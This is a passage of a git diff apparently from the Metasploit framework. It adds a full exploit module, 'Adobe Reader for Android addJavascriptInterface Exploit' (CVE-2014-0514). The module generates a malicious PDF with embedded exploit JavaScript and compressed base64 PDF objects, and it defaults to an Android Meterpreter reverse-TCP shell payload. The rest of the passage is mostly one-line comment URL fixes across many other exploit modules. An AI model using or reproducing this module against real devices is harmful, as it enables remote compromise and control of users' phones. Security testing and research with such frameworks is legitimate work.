script.gsub(/\/\/.*$/, '').gsub(/^\s*$/, '') - end - # Called when a client requests a .js route. # This is handy for post-XSS. def serve_static_js(cli, req) @@ -191,7 +108,7 @@ class Metasploit3 < Msf::Exploit::Remote if arch.present? print_status("Serving javascript for arch #{normalize_arch arch}") - send_response(cli, js(normalize_arch arch), response_opts) + send_response(cli, add_javascript_interface_exploit_js(normalize_arch arch), response_opts) else print_status("Serving arch detection javascript") send_response(cli, static_arch_detect_js, response_opts) @@ -238,6 +155,6 @@ class Metasploit3 < Msf::Exploit::Remote end def html(arch) - "<!doctype html><html><body><script>#{js(arch)}</script></body></html>" + "<!doctype html><html><body><script>#{add_javascript_interface_exploit_js(arch)}</script></body></html>" end end diff --git a/modules/exploits/android/fileformat/adobe_reader_pdf_js_interface.rb b/modules/exploits/android/fileformat/adobe_reader_pdf_js_interface.rb new file mode 100644 index 0000000000..108388d08b --- /dev/null +++ b/modules/exploits/android/fileformat/adobe_reader_pdf_js_interface.rb @@ -0,0 +1,137 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/exploit/fileformat' +require 'msf/core/exploit/pdf' +require 'msf/core/exploit/android' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GoodRanking + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::PDF + include Msf::Exploit::Android + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Adobe Reader for Android addJavascriptInterface Exploit', + 'Description' => %q{ + Adobe Reader versions less than 11.2.0 exposes insecure native + interfaces to untrusted javascript in a PDF. This module embeds the browser + exploit from android/webview_addjavascriptinterface into a PDF to get a + command shell on vulnerable versions of Reader. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Yorick Koster', # discoverer + 'joev' # msf module + ], + 'References' => + [ + [ 'CVE', '2014-0514' ], + [ 'EDB', '32884' ], + [ 'OSVDB', '105781' ], + ], + 'Platform' => 'android', + 'DefaultOptions' => { + 'PAYLOAD' => 'android/meterpreter/reverse_tcp' + }, + 'Targets' => [ + [ 'Android ARM', { + 'Platform' => 'android', + 'Arch' => ARCH_ARMLE + } + ], + [ 'Android MIPSLE', { + 'Platform' => 'android', + 'Arch' => ARCH_MIPSLE + } + ], + [ 'Android X86', { + 'Platform' => 'android', + 'Arch' => ARCH_X86 + } + ] + ], + 'DisclosureDate' => 'Apr 13 2014', + 'DefaultTarget' => 0 + )) + + register_options([ + OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']), + ], self.class) + end + + def exploit + print_status("Generating Javascript exploit...") + js = add_javascript_interface_exploit_js(ARCH_ARMLE) + print_status("Creating PDF...") + file_create(pdf(js)) + end + + def trailer(root_obj) + id = @xref.keys.max+1 + "trailer" << eol << "<</Size %d/Root " % id << ioRef(root_obj) << ">>" << eol + end + + def add_compressed(n, data) + add_object(n, Zlib::Inflate.inflate(Rex::Text.decode_base64(data))) + end + + def pdf(js) + self.eol = "\x0d" + @xref = {} + @pdf = header('1.6') + + add_compressed(25, "eJzjtbHRd0wuynfLL8pVMDFQMFAI0vdNLUlMSSxJVDAGc/0Sc1OLFYyNwBz/0pKczDwg3xzMDUhMB7INzcCc4ILMlNQiz7y0fAUjiOrgkqLS5JKQotTUoPz8EgVDiPkhlQWp+s5AC3Ly0+3seAG6CSa9") + add_compressed(40, "eJzjtbHRd3HU0PdIzSlTMFAISQMS6Qqa+i5BQAnXvOT8lMy8dCAzwMXNJT8ZJqBgYgpUF2Rnp++Wn1cClPZIdcpXMLYECUKMMjEHs6MSXZIUTCwgikHKM1NzUoqjjcEisXZ2vADEuSJw") + add_compressed(3, "eJztV91umzAUfoK8g8UuN2OMIQkWUFWJplUqU7VGam+N7aSs/AmMQvtqvdgj7RVmEpKRNJp2M2kXWAjZ+Hzfd3zO4Uie+D66lflGPQFCMEH3TaxeSokeo1u06iaRVEwwxcKwVpVk2cS/akvGn6UCsdwkeWD8fPthgEQExoMbWVG5kE/Jl9dK3r9+XfHXZ+4J4yqc+C1tszLTZKDN0rymbWAwUcSS6nn3GRlgZ6KeA+O62wCP0R1YFJUErulAblkumM1N7MyIPf0EbAvbyJojm0BMqNU9oB9GONFvvxJr+m35uZfTq8B4UqqkCG23W3NLzKLaIOx5HrJsZNtQW8D6JVeshXn9YU9y4FnKmldJqZIiB92axUWjAsOYgMHoz5WVR6G8NndnNHmRoZaVCJsWugQS/IgpmyrduSY4kqnMZK5qjcMXcVosiv4sl2UXkeUgHic4vaFxBB0D0MVA69CoEMn6ZcmUDHXwHWi5kOAVtil2qD3VS2pZPjqzPONY6ApScsBBdhyEEpe6+KNlHzkGlud+9AX5V54MbS/5UlSrokjDfcFd86qImQJYx23gRW8zgAtO10WVMRWyskwTzrrC6CLno99bp/YqUenQhUNlXafq9OthI026TNGU5ZvAaKGQa9akygi/16ZqlY/2NmeM6D3lzqVzdX9XOHRZ8KYrsJtl2DSJoJ6Yu1NPSjhbizl0nJhBj885nErXtl3iejFzd4E5xb7jvclrxXIuD7wOn1nONNaZcjwCPcuJIXNdGwqOZ3ObxySO8YF3gB3w6tjSu6oQDZdVeMjTg4zBgpWq0T1in7MTs8kwKIM/eN8eUN8fdGtCx970LhX/ZIwio8goMoqMIqPIKPJfiQxuNzLXV5ptd3fRs/7u8wtzq37r") + add_compressed(32, "eJzjtbHR93QJVjA0VzBQCNIPDfIBsi1AbDs7XgBc3QYo") + add_compressed(7, "eJzjtbHRd84vzStRMNJ3yywqLlGwUDBQCNL3SYQzQyoLUvX9S0tyMvNSi+3seAF54Q8a") + add_compressed(16, "eJzjtbHRd84vzStRMNT3zkwpjjYyUzBQCIrVD6ksSNUPSExPLbaz4wUA0/wLJA==") + add_compressed(22, "eJzjtbHRD1Mw1DMytbPjBQARcgJ6") + add_compressed(10, "eJzjtbHRd85JLC72TSxQMDRUMFAI0vdWMDQCMwISi1LzSkKKUlMVDI3RRPxSK0q8UysVDPVDKgtS9YNLikqTwRJB+fkldna8AIaCG78=") + add_compressed(11, "eJzjtbHRDy5IKXIsKgGy/PXDU5OcEwtKSotS7YCAFwCW+AmR") + add_compressed(12, "eJzjtbHR91YwNFUwUAjSD1AwNAAzgvVd8pNLc1PzSuzseAGGCwiD") + add_compressed(13, "eJzjtbHR9yvNLY42UDA0UTBQCIq1s+MFADohBRA=") + add_compressed(14, "eJzjjTY0VTBQCFKAULG8ABzfA0M=") + add_compressed(15, "eJzjtbHRd9YPLkgpciwq0feONlAwjNUPUDA0UjBQCNIPSFcwMgOzgvWB8pnJOal2drwAYtsNjA==") + add_compressed(26, "eJx1jk0KwkAMhU/QO+QEnRmnrQiloBXEhVBaV4qLoQ0iyGSYH9Dbm7ZrAwn54L2XZHUt9tZSDFAokNCLlmxEy1wWK3tyB/rcZS5h7kpteG53PB/i5Ck50KvyfARdLtsFp5f5a+puoHIpOuP5DqhqsfQYKPkRAz/U0pv84MyIMwwStJ41DZfoKZqIIMUQfRrjGhKYr1+HnPnEpsl+Bag7pA==") + add_compressed(41, "eJzjjTa2UDBQCIrlBQAKzAIA") + add_compressed(54, "eJwBzwAw/w08PC9GaWx0ZXIvRmxhdGVEZWNvZGUvTGVuZ3RoIDE1ND4+c3RyZWFtDUiJXE7BDcIwFLv3K/IFvlatYzAG66bgYSDM2/BQa6cDXWV7gv69m7d5SEISCKGs57axjpEklDFbd/MX1GQCc3jgRMaEN2oNDSVHrMeoep358/SgXQjse9Dx5w722naW29AhTU2RQ2zLkSivJNwABQyuE0pitYGO1SLSiJbxJL0XjaDpibv76UiZ7wvI+cx/rWb1V4ABAMukNiwNZW5kc3RyZWFtDcyfYBU=") + add_compressed(34, "eJzjtbHRdw5WMDZTMFAI0g/WDylKzCsuSCxKzUuutLPjBQB75gjK") + add_compressed(35, "eJzj1ZA6peCnxVrNzHD3v1xSmdpmTV4AOosGFg==") + add_compressed(33, "eJzjjdb3dHZ2SixOTVEwslQwUAiK5QUANnUE/Q==") + add_compressed(29, "eJwBEQHu/g08PC9GaWx0ZXIvRmxhdGVEZWNvZGUvTGVuZ3RoIDIxNi9OIDE+PnN0cmVhbQ1IiWJgYJzh6OLkyiTAwJCbV1LkHuQYGREZpcB+noGNgZkBDBKTiwscAwJ8QOy8/LxUBgzw7RoDI4i+rAsyC1MeL2BNLigqAdIHgNgoJbU4GUh/AeLM8pICoDhjApAtkpQNZoPUiWSHBDkD2R1ANl9JagVIjME5v6CyKDM9o0TB0NLSUsExJT8pVSG4srgkNbdYwTMvOb+oIL8osSQ1BagWagcI8LsXJVYquCfm5iYqGOkZkehyIgAoLCGszyHgMGIUO48QQ4Dk0qIyKJORyZiBASDAAEnGOC8NZW5kc3RyZWFtDYkear8=") + add_compressed(36, "eJzjjdb3dHZ2SixOTVEwNlAwUAiK5QUANj4E9Q==") + add_compressed(30, "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") + add_compressed(38, "eJxNjbEOgjAYhJ+Ad/hHWPgplIoJaVIwaGIwRGsciAtYCFGLQx18e1vi4HDDXe6+8/IcBdAEIjiiaKw7QEqc4xw3wsedKmYgMcjBhmOAFVCsJBZGYzUAS9OEYb23u2LbkjCCn65YCr98TP0dnipA2QCxwAZitjwdVW/ayFajkBGasQwYIWGSUVitY7c+vTvzeSm8TLdRGZR+Z/SCqx3t/I92NaH1bDj3vvt1NZc=") + add_compressed(43, "eJzjtbHR9wpWMDFTMFAI0g/W90osSwxOLsosKLGz4wUAaC0Hzw==") + add_compressed(51, "eJxNjtEKgkAQRb9g/mG/wHHRTEF8kPCpyDIoEB/UJivQrXUF+/t2Y4seLnPhzj1ciGNMUzGXruMyo4Bzxwt9tozMXVSYCdkfXg9iHNc0dOrKAh83tZK3ueS2ZPTnK9zTKCbZ0qjxuRRtQarEfJVVSYLF1CjN+4DRkPG0be7UqiQZlaS6B8460CC7xQu/YziTBBd46gfOAjeyYRj9wiMMsAMazpb0BnLmPE4=") + + js = Zlib::Deflate.deflate(js) + add_object(46, "\x0d<</Filter[/FlateDecode]/Length #{js.length}>>stream\x0d#{js}\x0dendstream\x0d") + + add_compressed(8, "eJzjtbHRd84vzStRMNR3yywqLlGwVDBQCNL3SYQzAxKLUoHy5mBOSGZJTqqGT35yYo6CS2ZxtqadHS8AmCkTkg==") + add_compressed(9, "eJzjtbHRd0ktLok2MlMwUAjSj4iMAtLmlkYKeaU5ObH6AYlFqXklChZgyWBXBUNTMCsksyQnVePff4YshmIGPYYShgqGEk07O14AWScVgw==") + add_compressed(17, "eJzjtbHR90vMTS2ONjZVMFAIUjAyAFGxdna8AF4CBlg=") + add_compressed(18, "eJzjtbHR90vMTS2ONrRUMFAIUjAyAFGxdna8AF4gBlo=") + add_compressed(19, "eJzj1UjLzEm10tfXd67RL0nNLdDPKtYrqSjR5AUAaRoIEQ==") + add_compressed(20, "eJzjtbHRdw7RKEmtKNEvyEnMzNPU93RRMDZVMFAI0vePNjIDMWL1g/WDA4DYU8HIECwTovHvP0MWQzGDHkMJQwVDiaZ+SLCGi5WRgaGJgbGxoaGhsampUZSmnR0vAOIUGEU=") + add_compressed(21, "eJzjtbHRdwxVMLRUMFAI0g8J1nCxMjIwNDEwNjY0NDQ2NTWK0rSz4wUAmbEH3g==") + add_compressed(39, "eJzjtbHRd0osTnXLzyvR90jNKUstyUxO1HXKz0nRd81Lzk/JzEtXMDFVMFAI0vdLzE0FqnHK1w8uTSqpLEjVDwEShmBSH2SAnR0vACeXGlQ=") + add_compressed(47, "eJzjtbHRd0osTnXLzyvR90jNKUstyUxO1HfNS85PycxLVzAxVTBQCNL3S8xNBUvrB5cmlVQWpOqHAAlDMKkP0mtnxwsAqd8Y1w==") + add_compressed(48, "eJzjtbHRd0osTnXLzyvRj0osSHPJzEtPSiwp1vdLzE0Firgk6QeXJpVUFqTqhwAJQzCpD1JuZ8cLAJhsFTA=") + add_compressed(45, "eJxNk81u2zAMx5+g75AnGJe0yFKgKGB0PgQYlsOaQzfswEi0LUSWUn1ky55+tJiovkQm+f+RFMXcPT3BV9N1FMgpir9WD3AIdCZQGLwDZYLKY2fpL2ifUClyCYbsegx5tJgT+N47OkIwrodkrKbF/SO8Z58ossvS4nENfcAzLZarDRyytZRAY99TuB76YIGsNadoItCoMQ5Arhyd9ZwYuoAqGW6nz8aWtJa69GEF0w8JRuNyhBOFNPgc0Wlpg9MfMFI1CnozhCzWh3/mLOkLngJqGjEcoTPcF3yLdupw18IPGdWbNjzE6Q4/xcEDsxSjAStSTxAl8q8ci+X6M7Q5eP54AJXD9AQXNtb8BP5I7oCBrQ3UxMqfLtKcD7ojvrBxPNcvK7C+Nwqt8wk+8Y+mDgL1JvJlSMOIqjREfSCCk81RZpX++Jh5YMYHSAPHqoUqJ4IxL5abeyg+PT19yaZIG2sR+N2rnvsZMapsS0ObzRR8zxiYmD4HtJ1UuDrjYvm4gqYsBjRSrZktW1NWCZp69aYsWNPCy618K3ArcDuD20ptRbMVzXam2VZNmwb4LuV2It+JfDeT766CSo3ZJnOyF9jJ4+4F3Qu6n6H7yrxJ8HXwgVeZwsg7erARUFiUMM5YlLJYU2AZA/Lf8zYGEpgEphlMlTKiMaIxM42pGuIxOCnnRe5F7mdyfxVUSpuzmRwyhCxgFjDPwFyJiwRTGcLl5v4Nr5cTv6JTnNv1z893/wElCbzZ") + add_compressed(23, "eJxNzLEKgzAQgOEn8B2ymVCqd4npUEQQXQsdCp0Tc4Ol9Ep6Qh+/gg7d/+8v2rYeMgWZ+TUGIT2eLWADziE65z0ewJYApdkqzrpPHEn1U+YYRCFWYOoLp3/sV2yxsacj+A1fM6dlolXv7k5RDeEtS6b9cZvlSfrxqeQrpuuKH+VYK70=") + + @xref_offset = @pdf.length + @pdf << xref_table << trailer(25) << startxref + + @pdf + end + +end diff --git a/modules/exploits/apple_ios/browser/safari_libtiff.rb b/modules/exploits/apple_ios/browser/safari_libtiff.rb index cebe13c570..1217a5735b 100644 --- a/modules/exploits/apple_ios/browser/safari_libtiff.rb +++ b/modules/exploits/apple_ios/browser/safari_libtiff.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/apple_ios/email/mobilemail_libtiff.rb b/modules/exploits/apple_ios/email/mobilemail_libtiff.rb index 7fc92d6805..99882d452c 100644 --- a/modules/exploits/apple_ios/email/mobilemail_libtiff.rb +++ b/modules/exploits/apple_ios/email/mobilemail_libtiff.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/apple_ios/ssh/cydia_default_ssh.rb b/modules/exploits/apple_ios/ssh/cydia_default_ssh.rb index 1233a718b8..e5a1a27e31 100644 --- a/modules/exploits/apple_ios/ssh/cydia_default_ssh.rb +++ b/modules/exploits/apple_ios/ssh/cydia_default_ssh.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/bsdi/softcart/mercantec_softcart.rb b/modules/exploits/bsdi/softcart/mercantec_softcart.rb index e5e067742e..6fe5362b96 100644 --- a/modules/exploits/bsdi/softcart/mercantec_softcart.rb +++ b/modules/exploits/bsdi/softcart/mercantec_softcart.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/dialup/multi/login/manyargs.rb b/modules/exploits/dialup/multi/login/manyargs.rb index 3db4a41ee0..c4d398710d 100644 --- a/modules/exploits/dialup/multi/login/manyargs.rb +++ b/modules/exploits/dialup/multi/login/manyargs.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/firefox/local/exec_shellcode.rb b/modules/exploits/firefox/local/exec_shellcode.rb index 46a2de4668..043290fb83 100644 --- a/modules/exploits/firefox/local/exec_shellcode.rb +++ b/modules/exploits/firefox/local/exec_shellcode.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/freebsd/ftp/proftp_telnet_iac.rb b/modules/exploits/freebsd/ftp/proftp_telnet_iac.rb index ea1e397fbf..d7382725c1 100644 --- a/modules/exploits/freebsd/ftp/proftp_telnet_iac.rb +++ b/modules/exploits/freebsd/ftp/proftp_telnet_iac.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/freebsd/local/mmap.rb b/modules/exploits/freebsd/local/mmap.rb index f2310eff93..a8a8b51959 100644 --- a/modules/exploits/freebsd/local/mmap.rb +++ b/modules/exploits/freebsd/local/mmap.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/freebsd/samba/trans2open.rb b/modules/exploits/freebsd/samba/trans2open.rb index 683990a1b7..2cc5fb0279 100644 --- a/modules/exploits/freebsd/samba/trans2open.rb +++ b/modules/exploits/freebsd/samba/trans2open.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/freebsd/tacacs/xtacacsd_report.rb b/modules/exploits/freebsd/tacacs/xtacacsd_report.rb index b93c06193d..c2b302d0a0 100644 --- a/modules/exploits/freebsd/tacacs/xtacacsd_report.rb +++ b/modules/exploits/freebsd/tacacs/xtacacsd_report.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/freebsd/telnet/telnet_encrypt_keyid.rb b/modules/exploits/freebsd/telnet/telnet_encrypt_keyid.rb index 32b356277d..033eee1c4e 100644 --- a/modules/exploits/freebsd/telnet/telnet_encrypt_keyid.rb +++ b/modules/exploits/freebsd/telnet/telnet_encrypt_keyid.rb @@ -1,7 +1,7 @@ # -*- coding: binary -*- ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/hpux/lpd/cleanup_exec.rb b/modules/exploits/hpux/lpd/cleanup_exec.rb index dffec14d7f..0a2b902014 100644 --- a/modules/exploits/hpux/lpd/cleanup_exec.rb +++ b/modules/exploits/hpux/lpd/cleanup_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/irix/lpd/tagprinter_exec.rb b/modules/exploits/irix/lpd/tagprinter_exec.rb index b7f26527e2..5acd0e4099 100644 --- a/modules/exploits/irix/lpd/tagprinter_exec.rb +++ b/modules/exploits/irix/lpd/tagprinter_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/antivirus/escan_password_exec.rb b/modules/exploits/linux/antivirus/escan_password_exec.rb index 6d02b2abb9..df378d022c 100644 --- a/modules/exploits/linux/antivirus/escan_password_exec.rb +++ b/modules/exploits/linux/antivirus/escan_password_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/browser/adobe_flashplayer_aslaunch.rb b/modules/exploits/linux/browser/adobe_flashplayer_aslaunch.rb index b26f7488d9..5e2674723a 100644 --- a/modules/exploits/linux/browser/adobe_flashplayer_aslaunch.rb +++ b/modules/exploits/linux/browser/adobe_flashplayer_aslaunch.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/ftp/proftp_sreplace.rb b/modules/exploits/linux/ftp/proftp_sreplace.rb index b8fa872f5c..b5c8c3d0e8 100644 --- a/modules/exploits/linux/ftp/proftp_sreplace.rb +++ b/modules/exploits/linux/ftp/proftp_sreplace.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -47,7 +47,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'Evgeny Legerov <admin [at] gleg.net>', # original .pm version (VulnDisco) + 'Evgeny Legerov <admin[at]gleg.net>', # original .pm version (VulnDisco) 'jduck' # Metasploit 3.x port ], 'References' => diff --git a/modules/exploits/linux/ftp/proftp_telnet_iac.rb b/modules/exploits/linux/ftp/proftp_telnet_iac.rb index 5d69d3b95e..5891da9e62 100644 --- a/modules/exploits/linux/ftp/proftp_telnet_iac.rb +++ b/modules/exploits/linux/ftp/proftp_telnet_iac.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/games/ut2004_secure.rb b/modules/exploits/linux/games/ut2004_secure.rb index ef2f097f2e..569747d8a1 100644 --- a/modules/exploits/linux/games/ut2004_secure.rb +++ b/modules/exploits/linux/games/ut2004_secure.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/alcatel_omnipcx_mastercgi_exec.rb b/modules/exploits/linux/http/alcatel_omnipcx_mastercgi_exec.rb index 9c95dd9722..e3a9832d88 100644 --- a/modules/exploits/linux/http/alcatel_omnipcx_mastercgi_exec.rb +++ b/modules/exploits/linux/http/alcatel_omnipcx_mastercgi_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -70,7 +70,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Sending GET request with command line payload...") sock.put(req) - res = sock.get(3,3) + res = sock.get_once(-1, 5) if (res =~ /<h5>(.*)<\/h5>/smi) out = $1 diff --git a/modules/exploits/linux/http/alienvault_sqli_exec.rb b/modules/exploits/linux/http/alienvault_sqli_exec.rb index 